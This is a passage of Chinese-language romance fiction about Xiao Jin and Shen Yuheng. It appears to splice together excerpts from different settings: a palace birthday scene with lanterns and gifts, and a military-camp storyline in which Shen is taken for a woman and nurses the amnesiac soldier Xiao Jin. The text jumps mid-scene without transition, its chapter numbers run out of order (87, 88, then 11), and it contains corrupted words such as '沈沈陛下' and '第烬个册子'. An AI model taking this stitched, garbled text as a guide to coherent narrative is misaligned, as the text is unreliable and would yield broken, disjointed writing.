萧烬望着他,瞳孔里的光似烛火,被沈玉衡的答复吹得摇摇晃晃,弱了许多,却未熄灭,又因他垂眼端详玉带的模样而渐渐盛起来。 罢了,他早该知道的。 萧烬在心里自嘲一笑,沈玉衡从来没有用另外一种缱绻的眼神看过自己,这人心里装着天下社稷,那些令人辗转反侧、想了又想梦了又梦的、荒唐整宿的事,对沈玉衡来说,大概都是不配入眼的糟粕污浊。 而曾经自以为见过的那些,都是自妄念入梦里的幻象,他竟也当真对沈玉衡渴求到了如此地步,明知是假,也要当真。 是自己做得还不够,萧烬想,他还没有好到可以让沈玉衡多看自已一眼。 沈玉衡不知萧烬心里想的这些,见他不抬手,便问:“陛下,可是还需臣替您宽衣?” 他看着萧烬仍旧站着,一动不动,似乎没有抬手脱下外袍的打算。 故此,除了要自己替他宽衣这个理由外,沈玉衡想不到别的了,顺便心里唏嘘,半收回了之前觉得萧烬同先帝不像的念头。 萧烬的确还是姓萧,血脉正统,不论此前落到什么境地,这等细枝末节处自然流露的尊人一等,倒是从先帝那里继承了十分。 但凭心而论,沈玉衡是不想的,世子爷自小也是养尊处优,从未做过伺候人的事,换做先帝和另外两位已逝的皇子,他只会装作不知趣,顺便讽刺几句解解心头气。 可萧烬除了四年前那回,其余时候待他倒是尚可,如今又身为人臣,还临近休致,即便是身不由己,他也不会做出装聋作瞎的姿态。 伺候好了眼前这位,让萧烬顺心,他才能全身而退。 想通其中关窍,沈玉衡心里的秤便有了落下的方向,也变得更加主动,本只是替萧烬解开扣子松了腰带,这回再抬起手,手指要没入萧烬衣袍的领口。 手指无意间擦过萧烬的耳垂,沈玉衡被指腹上突来的热惊怔住,还未从这温度里回神,便被萧烬握住了手。 萧烬的耳朵烫,掌心也同样干燥温热,沈玉衡的手背被迫升了温,不知是谁不由自主地紧绷着,扣得竟是有些紧。 萧烬看着沈玉衡,于他来说,沈玉衡靠近的远不只是手指,连呼吸也愈来愈近,扑在自己唇边的位置,他只需要轻轻捏住沈玉衡的下颌,微微向上抬一抬,便能继续那天没尝够的温软滋味。 他极力克制着不去那样做,不去抬手,不能低头,浑身绷紧肌肉牵制着他几乎要冲破桎梏的念头。 幸亏不是夏衣,否则这外袍离身,他想做的那些事,身上每一道绷紧的轮廓沟壑都会替他告诉沈玉衡。 宫殿门外的雪盖住了天地,萧烬几乎要发疯,想亲想抱,想拢在被里同他困觉。 沈玉衡茫然地看着他,琢磨不透此刻萧烬更深邃的眼神,喃喃开了口,带着困惑,说:“……陛下?” 他的声音惊回了萧烬。 萧烬怔了怔,目光渐渐散去雾,自若地按下沈玉衡的手,说:“……朕自己来。” 说完,萧烬便松开沈玉衡的手,镇定脱掉外袍,拿走了沈玉衡手腕上搭着的干净衣裳。 里衣是黑色的,缎面贴身,随着萧烬抬手而在身上滚动出暗色的光泽。 沈玉衡看了一会儿,看到那光泽起伏,莫名的,别过了脸去。 萧烬利落翻手披衣,带起的风拂过了他额角的碎发。 怪事。 沈玉衡在心里嘀咕,十余天前还同萧烬在池子里坦诚相待过,那时瞧见的更多,自己没感到哪里不妥,偏觉得他现在这幅模样反倒是瞧不得。 呼吸又有些乱,沈玉衡深深吸了一口气,觉得地龙太暖也不是好事,别看辰阳宫里各处屋子都大,却也还是不透风,高温熏得人胸口闷。 萧烬系上扣,这件外袍有另一条金镶翡翠的腰带,压在衣服下,沈玉衡拿来时未曾注意,这会儿还躺在关齐带来的托盘上。 他的目光落向沈玉衡手里的那条玉带,抿了抿唇,正想装作不知关齐另拿了腰带过来,让沈玉衡将手里那条递给他时,稚嫩的童声歘地打进两人中间。 萧峋人未到声先至,记着娘亲说的先问一问里头两人好未好再去屏风里,噔噔噔跑进来后在外头站定,说:“舅舅,沈先生,娘亲让我来问一声,你们好了不好?” 说完,萧峋扭捏了一下,还是忍不住扒着屏风边,探出脑袋朝里头看。 萧峋知道舅舅忙,沈先生也忙,若萧知雨不单独点那么一句,他倒还不会这样。 但偏偏萧知雨点了那么一声,萧峋记在心里,便记出了些许好奇。 不过这一探头,让萧峋更加惊讶,说:“舅舅怎么换衣裳啦?” 他记得自己和娘亲出去也没有多久,怎么这会儿回来就见到沈先生正在帮舅舅更衣? 萧峋的目光太清澈,纯洁无瑕,他是真的在虚心求问。 萧烬被这样的目光看着,心里妄念再多,也只能先压制下去,搁到一旁。 沈玉衡也莫名感到松了一口气,转身看着萧峋,说:“方才茶水洒在陛下身上,关宁公公忙着摆膳的事,便请关齐公公替陛下拿了干净的来换,抱歉,峋儿和公主久等很久了吧?” 萧峋倒是没什么,摇了摇头,说:“没有,只是娘亲担心舅舅和先生说起话来,会忘记吃饭的时辰。” 说完,他松开抓着屏风边沿的手,走到萧烬跟前,扬起脸满眼关切地问:“舅舅可有烫到?” 萧烬微微躬身,伸手揉了揉他的头,说:“舅舅无事,峋儿带沈先生先去前面寻娘亲,舅舅换好衣裳就过来。” 萧峋认真看着他的脸,又看了看他露在外的手,确实没有烫伤的红痕,这才放下心,听话地伸手去牵沈玉衡。 沈玉衡将空着的那只手递了过去,让萧峋牵住,又回头看萧烬,说:“……这根玉带——” “不妨事,玉带拿出去交给关宁,他晓得的。”萧烬半握拳抵着唇角,轻轻咳一声,说,“与这身相配的腰带是另一根,关齐拿来时放在了衣裳下头。” 沈玉衡这才重新看过去,果真看见那盘里还放着一根嵌了翡翠的金缕腰带,华贵精致,无论样式或是颜色,都比他手里这根更衬靛蓝的衣裳。 也更衬萧烬。 他天生适合这样的精致,不俗,反而十分贵气。 “好,那臣便先带峋儿出去。”沈玉衡收回视线,低头看着萧峋,“我们走吧,峋儿。” 萧峋点了点头,抬手朝萧烬挥了挥后,便稍稍走在沈玉衡前头一些,快步小跑带着他朝萧知雨那边去。 萧知雨等得不耐,正欲让关宁公公再过去看看时,萧峋便牵着沈玉衡过来了。 进到里头,他松开沈玉衡的手,朝萧知雨跑过去,到跟前时似乎才想起来自己的举动不够得体,猛地顿住,调整匀了呼吸,才走了剩下的几步过去,乖乖坐在萧知雨身边的凳子上。 沈康也在里面,他替沈玉衡拉开椅子,正欲和他说事时,萧峋扯了扯萧知雨的衣袖,扬起脸,说:“娘亲,方才我过去的时候,恰好看见先生给舅舅宽衣解带。” 萧知雨差些没握稳自个儿手里的茶盏,讶异地看了一眼沈玉衡。 她知晓萧烬对沈玉衡的心思,难免多想了一些,但见他抬手掩了掩茶杯喝茶,杯盖和雾气挡住了脸,氤氲里的表情并无异样,她才收回了目光。 又问萧峋:“是怎么回事?” 萧峋说:“舅舅说是茶水洒在身上了。” 宽衣解带四个字正常作释,便只是字面意思,萧峋又小,自然不会延伸,可沈玉衡对萧知雨望过来的眼神并不是没有察觉,余光里瞥见,显然晓得安宁公主想深了一些。 但沈玉衡觉得萧知雨确实是多虑了,他和萧烬,即便当真有龙阳之好,也不相配。 沈玉衡放下茶杯,亲切问萧峋:“是哪位先生教你的这个词?” “林先生教的。”萧峋转头过来看着他,一五一十地交代,“林先生说可以用于男女独处一室时,咦,可是舅舅和先生——” “咳咳,好了,峋儿。”沈玉衡曲起手指,轻轻在萧峋的脑袋上敲了敲,严肃了脸,说,“下回见了林先生,便说他教的不对,若是他追问你,便让他来寻我。” 萧峋茫然,没有想过林闲教的东西会有错,可沈先生说的也同样不会错,一时间,他被先生们夸奖过聪颖的脑袋变得茫然起来。 萧知雨捏了捏他的脸颊,说:“乖,听你沈先生的。” 萧峋得了娘亲的话,瞬间有了方向,才点头道:“好。” 说话间,外面传来关宁的通宝,萧烬过来了,两人便不再继续。 膳传得快,萧烬落座不过一会儿,一道道精致地菜肴便布了满桌,其中有不少荆城那边年关时,团圆夜桌上必不可少的菜品,都被宫人布在了沈玉衡伸手便能够着的地方。 沈玉衡挑了挑眉,自然知晓是萧烬有意安排的,莞尔一笑,说:“沈沈陛下,您有心了。” 萧烬握紧了筷,他到底不想听这个,不过如今也没有选择,也不愿在今日让他不开心。 “爱卿喜欢就好。” 关宁端来了一壶酒,是那天在温泉里没有喝成的不染愁。 若是放在平时的宫宴,沈玉衡断是不会放纵自己用多少,但今日不一样。 今日是他的生辰。 生辰喜乐不染愁,换来新岁万事无忧。 等萧烬察觉的时候,沈玉衡的眼眸里已经蒙上了醉意。 萧知雨见状,带着萧峋先行告退回了允安宫,早先便安排好了的,这边宴结束,她就要带着儿子去陪陪周太妃。 走前问沈玉衡要了沈康给她驾车,沈玉衡虽然醉了,但并不是完全不知事,只是不如平日里多一分心,偌大的皇宫,怎么会缺驾车的人,萧知雨完全不需要让沈康去。 沈康本想提醒的,可这里的另外两人都不是能容他推诿的,又见沈玉衡点了点头,他便只好领命。 关宁这时进来,俯身在萧烬耳边说:“陛下,那边都准备好了。” 萧烬点了点头,让他先出去,自己起身走到沈玉衡身边,躬下身,凑得极近。 萧烬问:“沈爱卿,还醒着么?” 沈玉衡单手支着头,掀开眼,淡淡看了他一眼:“……嗯?” 声音听着确实比平日清淡软和了许多,拉得长,蜜糖一样,裹着萧烬。 他克制着,小心伸手握住沈玉衡放在膝上的手,说:“我们现在去看灯?先前说好的,在静湖的角楼上,时辰差不多了。” 沈玉衡迟钝地想起了这件事。 他确实答应过他。 “……好。”沈玉衡说,未曾察觉自己被萧烬握着手,蹭地站起来,“不过先说好哦,我不认得路,你得带着我,知道吗?” “好。”萧烬莞尔,扣紧了他,说,“我会一直带着你,需要拉钩吗?” 当真是醉了,萧烬想,不带臣的自称,也不叫他陛下,说话也像小孩子。 真好。 沈玉衡礼貌拒绝,说:“我是大人,不需要这个。” 萧烬忍不住抬起手抚了抚他的眼角,沈玉衡显然不知道自己喝酒上脸,不过不严重,只是眼尾和脸颊晕了些许粉,眸光里水色盈盈,我见犹怜。 刚喝了酒,两人身上都热着,出辰阳宫时便都未披狐裘,好在这时没有落雪,也没有起风,萧烬还以为会在路上吵闹的人不仅不闹,还乖乖被他牵着,嘎吱踩雪声拢着,两人都觉得恣意松快。 很快,萧烬便领着沈玉衡上了角楼。 两人到了窗沿边,看着外头空荡荡黑漆漆地湖面,沈玉衡皱紧了眉。 他转过身,伸手揪住萧烬的衣领将他拉到自己面前,说:“这里哪有什么灯看,你骗我?” 萧烬早有准备,故而未被拽得踉跄,也好在此时这里只有关宁在边上伺候,又被萧烬提前打过招呼,因而没有惊动在附近值夜的护卫。 “怎么会,我从不骗你。”萧烬说,朝关宁打过手势后,伸手盖住沈玉衡的眼睛,“沈哥哥,你等一小会儿,我保证,等我松开你的时候就有灯了,好吗?” 沈玉衡迟疑了,忽然的黑暗让他下意识松开对萧烬的桎梏,反而抓上了盖在自己眼睛上的手。 可他惊讶地发现,他竟是拉不动。 “好。”沈玉衡说,十分能屈能伸,说,“你最好是真的没有骗我,否则——” 萧烬打断他,目光定定地看着沈玉衡,说:“我从不骗你。” 沈玉衡被他发誓般的承诺愣怔住,悻悻松开了手,让他捂着自己的眼睛,说:“……你这人,未免有点太认真,无趣。” 萧烬失笑。 他对他,如何能不认真。 说话间,萧烬看见关宁在楼下递了信号,便说:“可以了,沈哥哥,看看外头,那是不是灯?” 话音落下的同时,萧烬放下当着沈玉衡眼睛的手,让他看向窗外。 原本漆黑空荡的天幕上,正慢慢升着数不清的孔明灯,一盏接一盏,从四面八方而来,密密地点上烟火橙黄。 沈玉衡的瞳孔里印着那些光,微张的唇不由自主地颤抖着,倒不是为天上的那些,而是为原本漆黑静谧的湖面上,忽然冒出来的二十四盏、憨态可掬的、各不相同的兔子灯。 点在湖面残荷之间,一如当年离家时那夜见过的画面。 关宁不知何时又上来了,将手里的东西递给萧烬,萧烬抖开,声音惊动了沈玉衡。 他看过去,视线落在了萧烬手上的披风上。 是一件正红的披风,下摆滚边的地方绣着一串小团的兔子,灵动乖巧。 萧烬披在沈玉衡肩上,双臂环过他的肩落到他的胸前,替他系好绳扣,在他耳边说:“沈哥哥,生辰喜乐。” 沈玉衡似乎从未回神,醉意被这番场景挥退了几分,说:“……你如何知道,我——” “我当然知道。” 萧烬说,又从怀里拿出一个荷包,赫然是那日萧知雨在公主府里扔进他怀里的那只。 他从里头拿出一枚白玉扳指,夜晚不如白日里看得分明,却也能从温润色泽里看出这枚扳指的不菲。 他牵过沈玉衡的手,替他套上,说:“我不知道送你什么好,便准备了很多,灯是,披风是,扳指也是——” “还有我……” 好几个士兵纷纷掏出铜板,伸手递过来。军中禁止赌博,但像今日这样押点小钱,并不禁止。 陈青顿时眉开眼笑,一边收钱,一边对身后的小兵道:“烬子,快都记下来。” 正乐着,一人忽然大吼一声:“陈青,你不是说你押萧烬赢吗?怎么这上记着押蒋百夫长五十铜钱?” 陈青回头,见是伤兵营里的同伴,忙争辩:“押了,我押了萧烬五铜钱,你没看到?” “但你还押了蒋百夫长五十铜钱!” “……那什么,”陈青转为干笑,解释,“我押萧烬,是出于兄弟情义,是明知他会输还押,但押蒋百夫长,只是单纯不能跟钱过不去。这情义要顾,钱也得赚,你说是吧?” “萧烬赔率是多少?”忽然,一道轻哑声音传来。 陈青一回头,“哟”一声,惊讶道:“沈姑娘,你也来了?” 然后就替萧烬诉相思:“沈姑娘你不知道,这几天你没去伤兵营,萧烬他茶不思、饭也不香……” “我问你萧烬的赔率是多少?”沈玉衡打断。 陈青挠挠头,忙从烬子手里拿过账簿,看一眼道:“一赔五十呢,知道他的人可不多。” 沈玉衡微笑,拿出一小块碎银,道:“押萧烬。” “哟!”陈青惊讶,拿起来试了试,道:“这一小块,得值两三百铜钱呢,都押萧烬?” “都押。” 陈青立刻眉开眼笑:“还是沈姑娘有情义。” 到底是出身官宦,看来沈姑娘就算落难了,身上也还有点钱。 旁边士兵见了,不由问:“萧烬是谁?” “就是场上那个跟蒋百夫长一样,一直没输过的人。” “什么?那我也押他三个铜钱。” 空气里静默了片刻,他头顶传来一声沉重的叹气声。 “愣着干嘛!还不请军医过来!” 那吼声听得沈玉衡一愣,他抬起头,震惊又感激:“谢谢大哥。” 沈云璟无奈地摇了摇头:“你会后悔的。” 也许吧。 沈玉衡苦笑了一下,突然发现自己的手不知何时被握住了。 少年冰凉的指骨轻轻搭在他的手背上,一抬头,竟看见他的嘴角微微抽动着,像是在做一个美梦。 第 87 章 第 87 章 87 军医赶来时,看见萧烬的脸色,着实被吓了一跳。 也不奇怪,谁看到萧烬现在这副血淋淋的模样,都不会觉得他是个活人。 “你看看,能治就治。” 军令在上,军医也只能跪下来探了探脉搏,然后告诉他:“将军,这人怕是活不了了。” 沈云璟扫了一眼沈玉衡,一副“你看,我努力过了”的表情。 沈玉衡紧张地翻开军医随身带的工具,东西都全,他也能试着治治。 看见这人这么努力,一副一定要把这人救活的样子,军医十分惋惜地摇了摇头:“战俘间倒是也有真情在。” 沈玉衡下午来送汤药时,才知道萧烬上午跟蒋百夫长起冲突,打了一下。 他放下药箱,一边帮对方上药,一边蹙眉道:“昨天不是商量好了,先不跟他起冲突吗?你伤还没好,这一架打完,是不是伤口又崩裂了?” 萧烬眼神闪躲,不敢答话。 他额角出了血,指节上也是青紫的伤,有些破皮,打架的时候凶狠,打完见到沈玉衡,却有些狼狈。 尤其见对方看向自己的手,忙不自然地蜷紧手指,想遮住那些伤。 沈玉衡见他这般,有些好笑,上药时故意在他伤上按一下,问:“为什么不听我的?” 萧烬疼得眼睫轻颤,竟也不出声,只抬头看向沈玉衡,黑眸带着几分不甘,闷声解释:“他把鸡蛋打翻了。” 沈玉衡:“……” 就为这事?翌日。 沈玉衡没什么精神地用完朝食,中途打了个呵欠,眸中迅速蒙上水雾。 睫羽扇了扇,视线变清晰后,他才提起药箱去伤兵营。 可能是昨夜想事情想到太晚,没睡好,他今天有些精神不济,醒来后只觉头疼,昨晚都想了什么,也混混沌沌。 路上他没注意周遭情况,刚到伤兵营门口,忽然被人拦住。 “沈姑娘。” 竟是蒋百夫长那两个手下。 沈玉衡神思回拢,抬眸看一眼,掩下心中淡淡厌烦。 他不欲理这两人,绕开路继续往前走,却再次被拦住。 “干什么?”他语气平淡问,唯独对蒋百夫长和他的这些手下,不会有一贯的微笑。 “沈姑娘。”其中一个兵卒笑了笑,再次开口,态度倒是比前几日好些,但说出的话却—— “蒋百夫长前天用了你给的药,伤势没见好转,恐怕还需你亲自去帮他看看。” 沈玉衡皱眉:“我现在在药房干活,且只是给胡郎中当帮手,不会给人看伤。他若需要,你们可以去请胡郎中。” 说完再次绕开欲走。 “瞧您这话说的,”另一个兵卒也拦住他,“谁不知道您医术高明,连肠子断了和快要死的人都能救回来。且你不会看伤,提着药箱来伤兵营干什么?” 自然是替萧烬扎针看伤。 沈玉衡蹙眉,不欲理会。且没想到搬出胡郎中,这两人仍不让路,看来蒋百夫长不怕得罪军医? 伤兵营的人听见外面动静,这时也有几人掀起帐帘看情况。 营帐内昏暗嘈杂,空气污浊。 最里边的角落里,萧烬屈着长腿坐在床边。 他一手端着饭盆,另一手捏着两枚甘草片,正垂眸凝视。弯刀斜横在他怀中,脊背挺直,姿态却又有几分不羁,看起来不像受伤的兵卒,倒像个闯荡江湖的落拓刀客。 因他醒来后,除了昨日跟沈玉衡说过两句话,就再未在伤兵营出过声。且他整个人看着冰冷,平日仿佛视周遭一切于无物,旁人都不敢打扰。 倒是之前的断腿伤兵,见他又盯着那两枚甘草片看,忽然仰躺在床,“哎”一声,自顾自感叹:“沈姑娘怎么还没来?平时这个时候,她早来了啊……” 像是在说谁的心声,边说,还偏头边用余光瞄萧烬的反应。 萧烬忽然抬眼看向他,眼睛漆黑如深潭,找不出一丝情绪,却无端令人心头瘆得慌。 伤兵的声音霎时卡住,半晌似又觉得这样太怂。一个跟他一样的小小普通兵卒,有什么可怕的? “看什么……”他忽地坐起身,但视线对上那双黑眸,气势顿减三分,声音也瞬间变低,“看?” 接着嘀咕:“……我、我说的难道不是事实?” 萧烬收回视线,继续低头看那两枚甘草片,手中的饭一直没碰。 伤兵觉得那两枚小草片都快被他摸光滑了,听说有钱人家的老爷就喜欢这样摸两个核桃…… 正想着,帐门口忽然传来喧闹。 断腿伤兵忙伸长脖子往外张望,看了会儿道:“好像有人来闹事。” 没一会儿,又道:“好像是沈姑娘,等等,她被蒋百夫长的人拦住了!” “蒋百夫长?”另一人听了接道,“我听说他之前就纠缠沈姑娘。” “我去看看,”断腿伤兵忽然道,“咱们这么多人,可不能让沈姑娘在咱们帐门口被欺负了。” 说着正要起身,却见一道身影一瘸一拐,先一步从床前经过,顺手拿走了他床边的拐——说是拐,其实是一根有些粗长的木棍。 萧烬左腿也有伤,起身走路时有些瘸,拄了拐后,显然走快许多。 断腿伤兵:“……” “等等,那是我的拐。”他急忙伸手,但人已经走远了。 “什么人啊这是。”他忍不住跟身旁人道,“他该不会真是个少爷?” 旁边人:“……” 上完药,他拉过旁边的破凳子,在萧烬面前坐下,道:“既然你跟他交过手了,那正好借这个机会,先给你恶补一下。” 说着,他拿出一个小册子,上面是他昨晚熬夜画的小人图,都是在练拳脚功夫的小人。 “我之前看过几次蒋百夫长跟人对打,知道一些他的身手套路,都在这图中。虽然我没练过功夫,但看别人练过,等会跟你一起拆解分析,怎么应对他的招式,另外——” 说着,他又拿出一个小册子,上面画着差不多的小人,继续道:“这是我偶然得到的一个讲拳脚功夫的册子,你拿去看看,上面的功夫对你或许有用。” 这也是他昨天熬夜画的,画的是他梦中知道的一些功夫。梦中他因寒毒缘故,在武功上一直一般,在战场也使不了重兵器。 这个小册子上的功夫,就是教他用一些巧劲,对上力道和身手比自己厉害的人时,可以用技巧取胜,达到四两拨千斤的效果。 说起来,这也是一位……有心人所赠。 蒋百夫长身强力壮,萧烬却身上有伤,用这种巧劲的办法取胜,正合适。 萧烬看着第烬个册子上的小人展示的功夫,莫名有些熟悉。 不过他很快也看出这些都是靠巧劲取胜的功夫,直觉自己应该用不上,倒是沈姑娘这样瘦弱的人,可以适当练一练,防止歹人。 他放下册子刚要说不用,却对上沈玉衡期待的眼神,不由生生止住,若无其事地拿起册子又看几眼,认真道:“嗯,很有用,多谢……沈姑娘。” 沈玉衡顿时放下心,道:“你能用得上就好。” 接着又问:“对了,你骑射功夫怎么样?” 说完没等萧烬回答,就先轻按了按自己眉心,道:“差点忘了,你什么都不记得。” 萧烬闻言却迟疑,道:“虽然不记得,但我直觉……应该还可以。” 沈玉衡惊讶:“还行是多好?” 萧烬想了想,脑海浮现两个词,道:“百步穿杨,箭无虚发吧。” 沈玉衡闻言,忍不住笑了一下。 不远处的陈青更是捂着肚子大笑。 萧烬不解,抬眼看两人。 “你不相信?”他忍不住问沈玉衡。 沈玉衡轻咳,忍着笑:“没有,只是有些惊讶。” 萧烬:“……”你就是不信。 旁边的陈青直接笑道:“你知道那两个词是什么意思吗?百步穿杨,箭无虚发,形容并州的萧世子还差不多。” 萧烬蹙眉:“萧世子是谁?” 沈玉衡此时倒是止了笑,认真向他解释:“萧世子是并州的守将——萧烬萧将军,也是燕王世子。据说他骑射相当厉害,少年在洛阳时,就因百步穿杨、一箭双雕,名震洛京。” 萧烬见他这般神情认真地夸一个他没听说过的人,忽然有些不舒服。 他忽然想到,那位萧世子还在洛阳,满负盛名时,沈姑娘也在洛阳,正是闺阁少女…… 偏偏陈青这时又在旁语气夸张道:“听说萧世子18岁那年,就敢手持银枪,一人亲率两百铁骑,冲进胡人大营,在三万人中来回冲杀,杀得那些胡人惊慌不已、阵脚全乱,还擒获数名胡人的王族,威震北地。” 一听他们谈起那位燕王世子,其他伤兵也忍不住凑过来,你一句我一嘴地接着谈论。 有说那位燕王世子是趁胡人夜半休息,杀对面一个措手不及,才取得大胜。也有说燕王世子少年英雄,浑身是胆,带着两百铁骑如狼入羊群,硬生生杀得那些胡人不敢动弹。 “唉,要是咱们大周多些这样的将军,北边的土地早就收回来了,咱们也不用日日提心吊胆,担心胡人突然又来袭击。” 最后,一个胡须有些发白的老兵感慨道。 沈玉衡静静听着,面上辨不出情绪。直到人都散了,他才回神,又看向萧烬。 萧烬此刻垂着眸,神情似乎有些沉闷。 沈玉衡以为他受了打击,不由宽慰:“你不必多想,蒋百夫长箭法虽好,但远不到百步穿杨的地步,你若真有这本领,大比时一定能赢。” 萧烬抬头,却看着他问:“你觉得那位萧世子厉害吗?” 沈玉衡闻言微怔。 萧烬自然是厉害的,他虽没见过对方,但梦中后来,中原大地沦陷,胡人的铁蹄直抵长江北岸,饮马窥江,正是萧烬力挽狂澜,守住长江,夺回淮河防线,为仓皇难逃的大周朝廷又延续十几年国祚,不过…… 沈玉衡收回神思,微笑道:“我又没见过他,怎知他厉不厉害?” 原来没见过? 萧烬心情顿时又好起来,面上却故作镇定,假装拿起那份小册子继续研究。 他看起来是刚刚着急赶路过来的,身上的甲还没脱下来。 沈玉衡眨了眨眼,有点不明白这是什么意思。 那人却还算淡定,坐在了他的对面。 关上门,沈云璟坐在两人旁边的椅子上。 他指尖点了点桌面,也没有出去的意思,告诉两人:“你们聊聊。” “聊……什么?” 沈云璟皱着眉头想了想,好像也不知道该怎么解释,只道:“聊合适了,交个朋友,做个伴,想怎么样随便你们。” 沈玉衡开始明白他的意思了:“……” 好吧,这是要给他相亲的意思? 第 88 章 第 88 章 88 “他,卫鸣,我手下。” 沈云璟介绍完,又想向那个叫卫鸣的男人介绍沈玉衡。 但对方早就熟悉他的样子,盯着沈玉衡:“我知道,他是你那个宝贝弟弟。” “嗯。”沈云璟知道真相了居然也没有否认,抬了抬下巴:“你们两个好好聊。” 好好聊?聊什么? 翌日,沈玉衡提着有些沉甸的药箱去伤兵营。 萧烬明显一直在等他,见他身影出现,几乎立刻起身,微亮的眸光一直追随他。 沈玉衡微笑让他别动,放下药箱后,拉开一层抽屉。 萧烬以为又要扎针,忙坐好,双手规矩地放在膝上,视线仍一直跟着沈玉衡。 沈玉衡轻咳,端出一碗黑乎乎的汤药,递过去道:“喝了。” 萧烬一愣,对上他略带笑意的眼眸,然后不疑有他,接过便喝。 见他眨眼就将这么苦的汤药喝了近半,眉峰都不皱一下,沈玉衡惊讶,问:“好喝吗?” 萧烬刚放下碗,闻言下意识道:“好喝。” 沈玉衡:“……” 他忽然笑出声,摇头道:“怎么可能好喝?我记得很苦。” 萧烬脸腾地有些热,耳后微红,他方才确实没多想,只听沈姑娘问,就下意识答了。 好在营帐内昏暗,看不出他面色异常。 沈玉衡忽然又递过来一颗蜜枣,笑道:“把这个吃了,去去苦味。” 干净的指尖捏着一枚深红果子,玉丽好看。 萧烬接过后,一时舍不得吃,在沈玉衡目光催促下,才慢慢放进口中。 “甜吧?”沈玉衡忍不住问。 小时候他生病,嫌喝药苦,父亲就会这么哄他。虽然那时是被圈禁,但上面那位怕被传出不好名声,在吃食上倒没怎么苛待他们父子。 萧烬咬着果子,甜腻和苦涩混在一起,感觉说不上有多好,但听了沈玉衡的问话,舌尖的那阵甜竟流进了心里。 他很快点了点头。 沈玉衡笑眯起了眼,像小时候投喂那只忽然跑进他和父亲院落的野猫,满足而有成就。 “这个也给你。”他忽然又把一个温热、圆滚的东西塞给萧烬,“记得等会儿吃。” 萧烬低头,见竟是一颗染成红壳的鸡蛋。 他忙推回去,摇头不要,甚至一阵惭愧。 他堂堂男子,应该主动担起养家责任才对,怎么能让未过门的妻子把好吃的省给他? 沈玉衡:“是胡郎中给的,我吃过了。” 胡郎中的女儿昨天生孩子,他回去吃酒,带回一些红鸡蛋,散给同僚。 沈玉衡一共得了三颗,给徐阿婶的女儿一颗,自己一颗,最后这颗就拿来给萧烬了。 “难道你不想尽快养好身体?”见萧烬坚决不要,他皱起眉道,“若你养不好身体,大比输了怎么办?” 萧烬一僵,终于不再推拒。萧烬神情越冷,握刀的手也愈紧。 忽然,一片温凉触感落在手背,萧烬倏地抬眸。 沈玉衡按住他的手,似在安抚,继续道:“别担心,我已经想好应对办法了。” 他在萧烬的手背轻按了按,像梦中后来领兵时,与手下推心置腹那般,宽慰完,便很快抽离。 萧烬在他手抽走的那一刻,心头一阵失落,直到他接着开口,才忙认真听。 “我之前听那些伤兵说,营中每年冬天会举行一场大比,今年就在最近几日。蒋百夫长知道我们要成亲的事,必会亲自去找你麻烦。 “他这个人品行虽不行,但论身手,在营中却能排进前三。只是他从军晚,现今才只是百夫长,等再过些时日,恐怕就要是千夫长了…… “到时他去找你麻烦,你不要与他正面冲突,只需激他,问他是不是只能仗着人多势众出手,敢不敢跟你在大比上较量。 “此人颇好面子,又自负,到时定会答应。” 沈玉衡神色微凝,缓缓说。 萧烬皱眉,刚想说“不用这么麻烦,他未必是我对手”,但对上沈玉衡的目光,又生生止住,勉强点了点头。 沈玉衡见他同意,这才继续:“等到了大比那天,我会再想办法,一定让你赢他。” “不用,也许他根本不是我的对手。”萧烬这次没忍住,终于说了出来。 沈玉衡轻咳:“若是那样,自然最好。不过我们还有一个目的,你知道营中的守将陈将军吧?他与蒋百夫长的兄长并不合。 “我昨日听胡郎中说,蒋校尉跟新任郡守有些关系,但陈将军是前郡守安排来的人。如今新郡守上来,蒋家兄弟必然势大。陈将军一直不喜这两人,想提拔其他人制衡,奈何这两兄弟确有几分本事,之前提拔的人都不是他们对手。 “若你能打败蒋百夫长,落了蒋校尉的面子,陈将军必然赏识,甚至会提拔你。且以他对蒋家兄弟的不喜程度,知道你要与我成亲,冲着能让那两兄弟不舒服,也会促成此事。 “到时就算蒋百夫长输不起,恼羞成怒,但有陈将军在,此人也不敢轻易再做什么,也不能再来阻碍我们成亲了。” 沈玉衡一句句将心中计划说出,神情专注而认真。 萧烬目光一直静静注视他,唇角不自觉柔和。 沈玉衡直到说完,才察觉他一直在看自己,奇怪问:“你看什么?” 萧烬下意识:“你认真说话时,很好看。” 说完才意识到这句话轻浮,眼底瞬间闪过懊恼。 沈玉衡:“……” 他轻咳一声,道:“那我刚才说的那些,你都听见了吗?” 第 11 章 第 11 章 “听见了。”萧烬显然在懊丧中,只是面上强作镇定。 他不该这么不沉稳,刚答应成亲,就说出这般轻浮言语,沈姑娘会不会后悔选他? 萧烬愈发低落,又有些不安,神情不由绷得更紧,尽量使自己看着沉稳。 但在沈玉衡看来,却是他忽然木着脸,一副冷冰冰模样。 他不知这人方才还好好的,怎么忽然就不高兴了。 仔细想想,可能是自己刚才说了蒋百夫长厉害,还说会想办法帮他赢,显得……不信任他,觉得他不厉害。 沈玉衡轻咳,温声道:“我知道你身手好,肯定更厉害。只是你伤没好全,之前的箭毒也在身体中有残余,需过些时日才能清尽,我怕你吃亏,才想替你筹谋,不是不信任你。” 说到后面,声音愈柔缓。 萧烬耳后不觉又红一片,眸光却微亮,注视着沈玉衡,哑声道:“我知道。” 真好哄。沈玉衡心想。 忽然,他想起什么,忙从袖中取出一个小纸包。 沈玉衡这才满意,又帮他换了药,才起身要走。 至于扎针,本就是装装样子,这几日就先不扎了。且,万一真把人扎恢复记忆…… 沈玉衡轻咳,离开前又叮嘱:“你这几日一定要养好身体,我下午再来给你送药。另外帐内不经常通风,气流污浊,你无事的话,可多到外面走走,有利于恢复。” 萧烬点头,掌心握着鸡蛋,心口阵阵发烫。 “欸,萧烬,沈姑娘今天怎么对你这么好?” 沈玉衡刚走,陈青就忍不住凑过来问。 萧烬回神,看他一眼后,没理,端起之前没吃的朝食往外走。 沈姑娘让他多到外面,他听沈姑娘的。 到了帐门口,张河见到他,也摇头叹气:“按说我伤得也不比你轻,怎么沈姑娘专门给你熬汤药,我就没有?” 萧烬瞥他一眼,亦没理会,坐在帐门口位置,仔细剥蛋壳。 何止汤药,他还有鸡蛋。 剥好后,鸡蛋滑嫩的蛋白上沾染了一些蛋壳上染的红。 萧烬将鸡蛋放进碗中,开始吃饭。 他没舍得动那颗鸡蛋,吃一口饭,便看一眼,仿佛这样也是就着菜吃。 看到蛋白上的那一抹嫣红,再回忆方才沈玉衡将鸡蛋塞给他时的含笑模样,他唇角不觉弯起—— 